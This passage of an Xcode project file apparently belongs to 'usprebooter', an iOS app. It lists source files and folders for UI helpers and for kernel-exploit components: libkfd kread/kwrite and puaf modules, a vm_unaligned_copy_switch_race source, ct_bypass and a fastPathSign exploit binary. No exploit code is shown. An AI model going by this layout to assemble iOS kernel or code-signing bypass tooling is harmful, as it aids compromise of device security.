4; lastKnownFileType = sourcecode.swift; path = Platforms.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F642B48E25E00AE49BF /* SafeArea.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SafeArea.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F652B48E25E00AE49BF /* Environment.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Environment.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F662B48E25E00AE49BF /* Environment+String.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Environment+String.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F672B48E25E00AE49BF /* OwningController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = OwningController.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F682B48E25E00AE49BF /* NSItemProvider+Async.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"NSItemProvider+Async.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F692B48E25E00AE49BF /* UIScene.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = UIScene.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F6A2B48E25E00AE49BF /* Inspect.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Inspect.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F6B2B48E25E00AE49BF /* String+LocalizationKey.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"String+LocalizationKey.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F6D2B48E25F00AE49BF /* VisualEffect+iOS.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"VisualEffect+iOS.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F6E2B48E25F00AE49BF /* VisualEffect+macOS.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"VisualEffect+macOS.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E090022B48E25F00AE49BF /* Detents.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Detents.swift; sourceTree = \"<group>\"; };\n\t\tD6E0900C2B48E25F00AE49BF /* UIBackport.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = UIBackport.swift; sourceTree = \"<group>\"; };\n\t\tD6E090872B48E3A200AE49BF /* BlobLayer.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = BlobLayer.swift; sourceTree = \"<group>\"; };\n\t\tD6E090882B48E3A200AE49BF /* ResizableLayer.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = ResizableLayer.swift; sourceTree = \"<group>\"; };\n\t\tD6E090892B48E3A200AE49BF /* FluidGradientView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FluidGradientView.swift; sourceTree = \"<group>\"; };\n\t\tD6E0908A2B48E3A200AE49BF /* CGPoint+Extensions.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"CGPoint+Extensions.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E0908B2B48E3A200AE49BF /* FluidGradient.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FluidGradient.swift; sourceTree = \"<group>\"; };\n\t\tD6E090922B48E60300AE49BF /* bootstrap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = bootstrap.h; sourceTree = \"<group>\"; };\n\t\tD6E090942B48E60300AE49BF /* endpoint.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = endpoint.h; sourceTree = \"<group>\"; };\n\t\tD6E090952B48E60300AE49BF /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = debug.h; sourceTree = \"<group>\"; };\n\t\tD6E090962B48E60300AE49BF /* listener.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = listener.h; sourceTree = \"<group>\"; };\n\t\tD6E090972B48E60300AE49BF /* availability.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = availability.h; sourceTree = \"<group>\"; };\n\t\tD6E090982B48E60300AE49BF /* rich_error.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = rich_error.h; sourceTree = \"<group>\"; };\n\t\tD6E090992B48E60300AE49BF /* xpc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpc.h; sourceTree = \"<group>\"; };\n\t\tD6E0909A2B48E60300AE49BF /* session.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = session.h; sourceTree = \"<group>\"; };\n\t\tD6E0909B2B48E60300AE49BF /* xpc_connection.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpc_connection.h; sourceTree = \"<group>\"; };\n\t\tD6E0909C2B48E60300AE49BF /* activity.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = activity.h; sourceTree = \"<group>\"; };\n\t\tD6E0909D2B48E60300AE49BF /* launch.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = launch.h; sourceTree = \"<group>\"; };\n\t\tD6E0909E2B48E60300AE49BF /* base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = base.h; sourceTree = \"<group>\"; };\n\t\tD6F9CF3E2B4B2F7D00274803 /* ct_bypass */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.executable\"; name = ct_bypass; path = ChOma/output/ios/tests/ct_bypass; sourceTree = \"<group>\"; };\n\t\tD6F9CF402B4B306400274803 /* fastPathSign */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.executable\"; name = fastPathSign; path = RootHelperSample/Exploits/fastPathSign/fastPathSign; sourceTree = \"<group>\"; };\n\t\tD6F9CF422B4B7B5A00274803 /* boot-sad.jp2 */ = {isa = PBXFileReference; lastKnownFileType = file; path = \"boot-sad.jp2\"; sourceTree = \"<group>\"; };\n\t\tD6F9CF432B4B7B5A00274803 /* boot-happy.jp2 */ = {isa = PBXFileReference; lastKnownFileType = file; path = \"boot-happy.jp2\"; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\tC81122972B15E7BB00AD077B /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tC82AFF3F2B179A8C0070EA49 /* IOKit.framework in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\tC81122912B15E7BB00AD077B = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6F9CF402B4B306400274803 /* fastPathSign */,\n\t\t\t\tD6F9CF3E2B4B2F7D00274803 /* ct_bypass */,\n\t\t\t\tC82AFF0A2B1762CE0070EA49 /* RootHelperSample */,\n\t\t\t\tC811229C2B15E7BB00AD077B /* usprebooter */,\n\t\t\t\tC811229B2B15E7BB00AD077B /* Products */,\n\t\t\t\tC82AFF3B2B1796D90070EA49 /* Frameworks */,\n\t\t\t);\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC811229B2B15E7BB00AD077B /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC811229A2B15E7BB00AD077B /* usprebooter.app */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC811229C2B15E7BB00AD077B /* usprebooter */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6F9CF432B4B7B5A00274803 /* boot-happy.jp2 */,\n\t\t\t\tD6F9CF422B4B7B5A00274803 /* boot-sad.jp2 */,\n\t\t\t\tC84002EC2B4A64E200C73950 /* launchdentitlements.plist */,\n\t\t\t\tC84002E82B4A55A300C73950 /* springboardshimsignedinjected */,\n\t\t\t\tC8BFCC772B3FFE560008D8FD /* fun */,\n\t\t\t\tC8BFCC902B3FFE560008D8FD /* libkfd */,\n\t\t\t\tC8BFCCA32B3FFE570008D8FD /* libkfd.h */,\n\t\t\t\tC82AFF422B17AA6C0070EA49 /* ldid */,\n\t\t\t\tC82AFEF32B175AB80070EA49 /* Assets.xcassets */,\n\t\t\t\tD6E090912B48E60300AE49BF /* Private Headers I stole from the macOS SDK */,\n\t\t\t\tC82AFEEF2B175A270070EA49 /* ContentView.swift */,\n\t\t\t\tD6E08F1D2B48B04E00AE49BF /* TheCoolerContentView.swift */,\n\t\t\t\tC82AFEF12B175AA30070EA49 /* usprebooterApp.swift */,\n\t\t\t\tD6E08F2B2B48E24400AE49BF /* External */,\n\t\t\t\tC81122AB2B15E7BD00AD077B /* Info.plist */,\n\t\t\t\tC81122CF2B15EA8600AD077B /* usprebooter-Bridging-Header.h */,\n\t\t\t\tC81122DD2B16C9CB00AD077B /* troller.h */,\n\t\t\t\tC81122DE2B16C9CC00AD077B /* troller.m */,\n\t\t\t\tC805CA442B1719C1005157BA /* util.m */,\n\t\t\t\tC805CA462B1719D5005157BA /* util.h */,\n\t\t\t\tC83594D32B18F80300346F80 /* overwriter.h */,\n\t\t\t\tC83594CE2B18F70700346F80 /* overwriter.m */,\n\t\t\t\tC83594D02B18F74600346F80 /* vm_unaligned_copy_switch_race.h */,\n\t\t\t\tC83594D12B18F74600346F80 /* vm_unaligned_copy_switch_race.c */,\n\t\t\t\tC8BFCCB32B427C0F0008D8FD /* Log.swift */,\n\t\t\t\t013141FE2B445B26006BEBE9 /* memoryControl.m */,\n\t\t\t\t013142012B445B48006BEBE9 /* memoryControl.h */,\n\t\t\t);\n\t\t\tpath = usprebooter;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF0A2B1762CE0070EA49 /* RootHelperSample */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF0C2B1762CE0070EA49 /* .theos */,\n\t\t\t\tC82AFF2B2B1762CE0070EA49 /* Makefile */,\n\t\t\t\tC82AFF2C2B1762CE0070EA49 /* entitlements.plist */,\n\t\t\t\tC82AFF2D2B1762CE0070EA49 /* TSUtil.m */,\n\t\t\t\tC82AFF2E2B1762CE0070EA49 /* RootHelperSample.xcodeproj */,\n\t\t\t\tC82AFF312B1762CE0070EA49 /* main.m */,\n\t\t\t\tC84002E32B4A545400C73950 /* insert_dylib.m */,\n\t\t\t\tC84002E52B4A547B00C73950 /* insert_dylib.h */,\n\t\t\t\tC82AFF332B1762CE0070EA49 /* TSUtil.h */,\n\t\t\t\tC82AFF342B1762CE0070EA49 /* CoreServices.h */,\n\t\t\t\tC82AFF352B1762CE0070EA49 /* RemoteLog.h */,\n\t\t\t\tC82AFF362B1762CE0070EA49 /* control */,\n\t\t\t);\n\t\t\tpath = RootHelperSample;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF0C2B1762CE0070EA49 /* .theos */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF0D2B1762CE0070EA49 /* fakeroot */,\n\t\t\t\tC82AFF0E2B1762CE0070EA49 /* obj */,\n\t\t\t\tC82AFF262B1762CE0070EA49 /* swift */,\n\t\t\t\tC82AFF282B1762CE0070EA49 /* packages */,\n\t\t\t\tC82AFF2A2B1762CE0070EA49 /* build_session */,\n\t\t\t);\n\t\t\tpath = .theos;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF0E2B1762CE0070EA49 /* obj */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF0F2B1762CE0070EA49 /* debug */,\n\t\t\t);\n\t\t\tpath = obj;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF0F2B1762CE0070EA49 /* debug */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF102B1762CE0070EA49 /* trolltoolsroothelper */,\n\t\t\t\tC82AFF112B1762CE0070EA49 /* .stamp */,\n\t\t\t\tC82AFF122B1762CE0070EA49 /* arm64 */,\n\t\t\t);\n\t\t\tpath = debug;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF122B1762CE0070EA49 /* arm64 */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF132B1762CE0070EA49 /* uicache.m.df2b699c.Td */,\n\t\t\t\tC82AFF142B1762CE0070EA49 /* main.m.cb550517.Td */,\n\t\t\t\tC82AFF152B1762CE0070EA49 /* uicache.m.1773e4a4.Td */,\n\t\t\t\tC82AFF162B1762CE0070EA49 /* main.m.1773e4a4.o */,\n\t\t\t\tC82AFF172B1762CE0070EA49 /* uicache.m.1773e4a4.o */,\n\t\t\t\tC82AFF182B1762CE0070EA49 /* TSUtil.m.1773e4a4.Td */,\n\t\t\t\tC82AFF192B1762CE0070EA49 /* main.m.df2b699c.o */,\n\t\t\t\tC82AFF1A2B1762CE0070EA49 /* TSUtil.m.cb550517.o */,\n\t\t\t\tC82AFF1B2B1762CE0070EA49 /* trolltoolsroothelper.dSYM */,\n\t\t\t\tC82AFF1C2B1762CE0070EA49 /* TSUtil.m.df2b699c.Td */,\n\t\t\t\tC82AFF1D2B1762CE0070EA49 /* uicache.m.df2b699c.o */,\n\t\t\t\tC82AFF1E2B1762CE0070EA49 /* TSUtil.m.cb550517.Td */,\n\t\t\t\tC82AFF1F2B1762CE0070EA49 /* TSUtil.m.1773e4a4.o */,\n\t\t\t\tC82AFF202B1762CE0070EA49 /* main.m.df2b699c.Td */,\n\t\t\t\tC82AFF212B1762CE0070EA49 /* main.m.1773e4a4.Td */,\n\t\t\t\tC82AFF222B1762CE0070EA49 /* uicache.m.cb550517.o */,\n\t\t\t\tC82AFF232B1762CE0070EA49 /* uicache.m.cb550517.Td */,\n\t\t\t\tC82AFF242B1762CE0070EA49 /* TSUtil.m.df2b699c.o */,\n\t\t\t\tC82AFF252B1762CE0070EA49 /* main.m.cb550517.o */,\n\t\t\t);\n\t\t\tpath = arm64;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF262B1762CE0070EA49 /* swift */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF272B1762CE0070EA49 /* markers */,\n\t\t\t);\n\t\t\tpath = swift;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF272B1762CE0070EA49 /* markers */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t);\n\t\t\tpath = markers;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF282B1762CE0070EA49 /* packages */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFF292B1762CE0070EA49 /* net.sourceloc.trolltoolsroothelper-1.0 */,\n\t\t\t);\n\t\t\tpath = packages;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF2F2B1762CE0070EA49 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC82AFF3B2B1796D90070EA49 /* Frameworks */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC83594C32B17AC8500346F80 /* MobileContainerManager.framework */,\n\t\t\t\tC82AFF3D2B179A880070EA49 /* IOKit.framework */,\n\t\t\t\tC82AFF3C2B1796D90070EA49 /* IOKit.tbd */,\n\t\t\t);\n\t\t\tname = Frameworks;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC772B3FFE560008D8FD /* fun */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC782B3FFE560008D8FD /* cs_blobs.h */,\n\t\t\t\tC8BFCC792B3FFE560008D8FD /* thanks_opa334dev_htrowii.h */,\n\t\t\t\tC8BFCC7A2B3FFE560008D8FD /* utils.h */,\n\t\t\t\tC8BFCC842B3FFE560008D8FD /* utils.m */,\n\t\t\t\tC8BFCC7B2B3FFE560008D8FD /* vnode.h */,\n\t\t\t\tC8BFCC892B3FFE560008D8FD /* vnode.m */,\n\t\t\t\tC8BFCC7C2B3FFE560008D8FD /* proc.h */,\n\t\t\t\tC8BFCC7D2B3FFE560008D8FD /* offsets.h */,\n\t\t\t\tC8BFCC7E2B3FFE560008D8FD /* krw.h */,\n\t\t\t\tC8BFCC7F2B3FFE560008D8FD /* fun.m */,\n\t\t\t\tC8BFCC822B3FFE560008D8FD /* dir.m */,\n\t\t\t\tC8BFCC852B3FFE560008D8FD /* thanks_opa334dev_htrowii.m */,\n\t\t\t\tC8BFCC862B3FFE560008D8FD /* cs_blobs.m */,\n\t\t\t\tC8BFCC872B3FFE560008D8FD /* krw.c */,\n\t\t\t\tC8BFCC882B3FFE560008D8FD /* offsets.m */,\n\t\t\t\tC8BFCC8A2B3FFE560008D8FD /* proc.c */,\n\t\t\t\tC8BFCC8C2B3FFE560008D8FD /* fun.h */,\n\t\t\t\tC8BFCC8F2B3FFE560008D8FD /* dir.h */,\n\t\t\t);\n\t\t\tpath = fun;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC902B3FFE560008D8FD /* libkfd */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC912B3FFE560008D8FD /* krkw.h */,\n\t\t\t\tC8BFCC922B3FFE560008D8FD /* krkw */,\n\t\t\t\tC8BFCC992B3FFE560008D8FD /* info */,\n\t\t\t\tC8BFCC9C2B3FFE560008D8FD /* puaf.h */,\n\t\t\t\tC8BFCC9D2B3FFE560008D8FD /* common.h */,\n\t\t\t\tC8BFCC9E2B3FFE560008D8FD /* puaf */,\n\t\t\t\tC8BFCCA12B3FFE560008D8FD /* perf.h */,\n\t\t\t\tC8BFCCA22B3FFE560008D8FD /* info.h */,\n\t\t\t);\n\t\t\tpath = libkfd;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC922B3FFE560008D8FD /* krkw */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC932B3FFE560008D8FD /* kread */,\n\t\t\t\tC8BFCC962B3FFE560008D8FD /* kwrite */,\n\t\t\t);\n\t\t\tpath = krkw;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC932B3FFE560008D8FD /* kread */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC942B3FFE560008D8FD /* kread_sem_open.h */,\n\t\t\t\tC8BFCC952B3FFE560008D8FD /* kread_kqueue_workloop_ctl.h */,\n\t\t\t);\n\t\t\tpath = kread;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC962B3FFE560008D8FD /* kwrite */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC972B3FFE560008D8FD /* kwrite_sem_open.h */,\n\t\t\t\tC8BFCC982B3FFE560008D8FD /* kwrite_dup.h */,\n\t\t\t);\n\t\t\tpath = kwrite;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC992B3FFE560008D8FD /* info */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC9A2B3FFE560008D8FD /* static_info.h */,\n\t\t\t\tC8BFCC9B2B3FFE560008D8FD /* dynamic_info.h */,\n\t\t\t);\n\t\t\tpath = info;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tC8BFCC9E2B3FFE560008D8FD /* puaf */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC8BFCC9F2B3FFE560008D8FD /* smith.h */,\n\t\t\t\tC8BFCCA02B3FFE560008D8FD /* physpuppet.h */,\n\t\t\t);\n\t\t\tpath = puaf;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F2B2B48E24400AE49BF /* External */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090862B48E3A200AE49BF /* FluidGradient */,\n\t\t\t\tD6E08F612B48E25E00AE49BF /* SwiftUIBackports */,\n\t\t\t\tD6E08F2C2B48E24E00AE49BF /* SwiftBackports */,\n\t\t\t);\n\t\t\tpath = External;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F2C2B48E24E00AE49BF /* SwiftBackports */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F2D2B48E24E00AE49BF /* UniformTypeIdentifiers */,\n\t\t\t\tD6E08F312B48E24E00AE49BF /* URLSession */,\n\t\t\t\tD6E08F332B48E24E00AE49BF /* CoreTransferable */,\n\t\t\t\tD6E08F492B48E24F00AE49BF /* Backport.swift */,\n\t\t\t);\n\t\t\tpath = SwiftBackports;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F2D2B48E24E00AE49BF /* UniformTypeIdentifiers */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F2E2B48E24E00AE49BF /* UTTagClass.swift */,\n\t\t\t\tD6E08F2F2B48E24E00AE49BF /* CoreTypes.swift */,\n\t\t\t\tD6E08F302B48E24E00AE49BF /* UTType.swift */,\n\t\t\t);\n\t\t\tpath = UniformTypeIdentifiers;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F312B48E24E00AE49BF /* URLSession */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F322B48E24E00AE49BF /* URLSession+Async.swift */,\n\t\t\t);\n\t\t\tpath = URLSession;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F332B48E24E00AE49BF /* CoreTransferable */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F342B48E24E00AE49BF /* Representations */,\n\t\t\t\tD6E08F3B2B48E24F00AE49BF /* Transferables */,\n\t\t\t\tD6E08F412B48E24F00AE49BF /* Support */,\n\t\t\t\tD6E08F462B48E24F00AE49BF /* Transferable.swift */,\n\t\t\t\tD6E08F472B48E24F00AE49BF /* TransferRepresentationBuilder.swift */,\n\t\t\t\tD6E08F482B48E24F00AE49BF /* TransferableRepresentation.swift */,\n\t\t\t);\n\t\t\tpath = CoreTransferable;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F342B48E24E00AE49BF /* Representations */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F352B48E24E00AE49BF /* Never+Representation.swift */,\n\t\t\t\tD6E08F362B48E24F00AE49BF /* Tuple+Representation.swift */,\n\t\t\t\tD6E08F372B48E24F00AE49BF /* Codable+Representation.swift */,\n\t\t\t\tD6E08F382B48E24F00AE49BF /* Data+Representation.swift */,\n\t\t\t\tD6E08F392B48E24F00AE49BF /* _ConditionalRepresentation.swift */,\n\t\t\t\tD6E08F3A2B48E24F00AE49BF /* File+Representations.swift */,\n\t\t\t);\n\t\t\tpath = Representations;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F3B2B48E24F00AE49BF /* Transferables */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F3C2B48E24F00AE49BF /* Data+Transferable.swift */,\n\t\t\t\tD6E08F3D2B48E24F00AE49BF /* URL+Transferable.swift */,\n\t\t\t\tD6E08F3E2B48E24F00AE49BF /* String+Transferable.swift */,\n\t\t\t\tD6E08F3F2B48E24F00AE49BF /* Never+Transferable.swift */,\n\t\t\t\tD6E08F402B48E24F00AE49BF /* AttributedString+Transferable.swift */,\n\t\t\t);\n\t\t\tpath = Transferables;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F412B48E24F00AE49BF /* Support */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F422B48E24F00AE49BF /* Visibility.swift */,\n\t\t\t\tD6E08F432B48E24F00AE49BF /* SentTransferredFile.swift */,\n\t\t\t\tD6E08F442B48E24F00AE49BF /* ReceivedTransferredFile.swift */,\n\t\t\t\tD6E08F452B48E24F00AE49BF /* NSItemProvider+Transferable.swift */,\n\t\t\t);\n\t\t\tpath = Support;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F612B48E25E00AE49BF /* SwiftUIBackports */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F622B48E25E00AE49BF /* Internal */,\n\t\t\t\tD6E08FE22B48E25F00AE49BF /* iOS */,\n\t\t\t\tD6E0900C2B48E25F00AE49BF /* UIBackport.swift */,\n\t\t\t);\n\t\t\tpath = SwiftUIBackports;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F622B48E25E00AE49BF /* Internal */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F632B48E25E00AE49BF /* Platforms.swift */,\n\t\t\t\tD6E08F642B48E25E00AE49BF /* SafeArea.swift */,\n\t\t\t\tD6E08F652B48E25E00AE49BF /* Environment.swift */,\n\t\t\t\tD6E08F662B48E25E00AE49BF /* Environment+String.swift */,\n\t\t\t\tD6E08F672B48E25E00AE49BF /* OwningController.swift */,\n\t\t\t\tD6E08F682B48E25E00AE49BF /* NSItemProvider+Async.swift */,\n\t\t\t\tD6E08F692B48E25E00AE49BF /* UIScene.swift */,\n\t\t\t\tD6E08F6A2B48E25E00AE49BF /* Inspect.swift */,\n\t\t\t\tD6E08F6B2B48E25E00AE49BF /* String+LocalizationKey.swift */,\n\t\t\t\tD6E08F6C2B48E25F00AE49BF /* VisualEffects */,\n\t\t\t);\n\t\t\tpath = Internal;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08F6C2B48E25F00AE49BF /* VisualEffects */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E08F6D2B48E25F00AE49BF /* VisualEffect+iOS.swift */,\n\t\t\t\tD6E08F6E2B48E25F00AE49BF /* VisualEffect+macOS.swift */,\n\t\t\t);\n\t\t\tpath = VisualEffects;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E08FE22B48E25F00AE49BF /* iOS */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090002B48E25F00AE49BF /* Presentation */,\n\t\t\t);\n\t\t\tpath = iOS;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E090002B48E25F00AE49BF /* Presentation */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090022B48E25F00AE49BF /* Detents.swift */,\n\t\t\t);\n\t\t\tpath = Presentation;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E090862B48E3A200AE49BF /* FluidGradient */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090872B48E3A200AE49BF /* BlobLayer.swift */,\n\t\t\t\tD6E090882B48E3A200AE49BF /* ResizableLayer.swift */,\n\t\t\t\tD6E090892B48E3A200AE49BF /* FluidGradientView.swift */,\n\t\t\t\tD6E0908A2B48E3A200AE49BF /* CGPoint+Extensions.swift */,\n\t\t\t\tD6E0908B2B48E3A200AE49BF /* FluidGradient.swift */,\n\t\t\t);\n\t\t\tpath = FluidGradient;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E090912B48E60300AE49BF /* Private Headers I stole from the macOS SDK */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090922B48E60300AE49BF /* bootstrap.h */,\n\t\t\t\tD6E090932B48E60300AE49BF /* xpc */,\n\t\t\t);\n\t\t\tpath = \"Private Headers I stole from the macOS SDK\";\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tD6E090932B48E60300AE49BF /* xpc */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tD6E090942B48E60300AE49BF /* endpoint.h */,\n\t\t\t\tD6E090952B48E60300AE49BF /* debug.h */,\n\t\t\t\tD6E090962B48E60300AE49BF /* listener.h */,\n\t\t\t\tD6E090972B48E60300AE49BF /* availability.h */,\n\t\t\t\tD6E090982B48E60300AE49BF /* rich_error.h */,\n\t\t\t\tD6E090992B48E60300AE49BF /* xpc.h */,\n\t\t\t\tD6E0909A2B48E60300AE49BF /* session.h */,\n\t\t\t\tD6E0909B2B48E60300AE49BF /* xpc_connection.h */,\n\t\t\t\tD6E0909C2B48E60300AE49BF /* activity.h */,\n\t\t\t\tD6E0909D2B48E60300AE49BF /* launch.h */,\n\t\t\t\tD6E0909E2B48E60300AE49BF /* 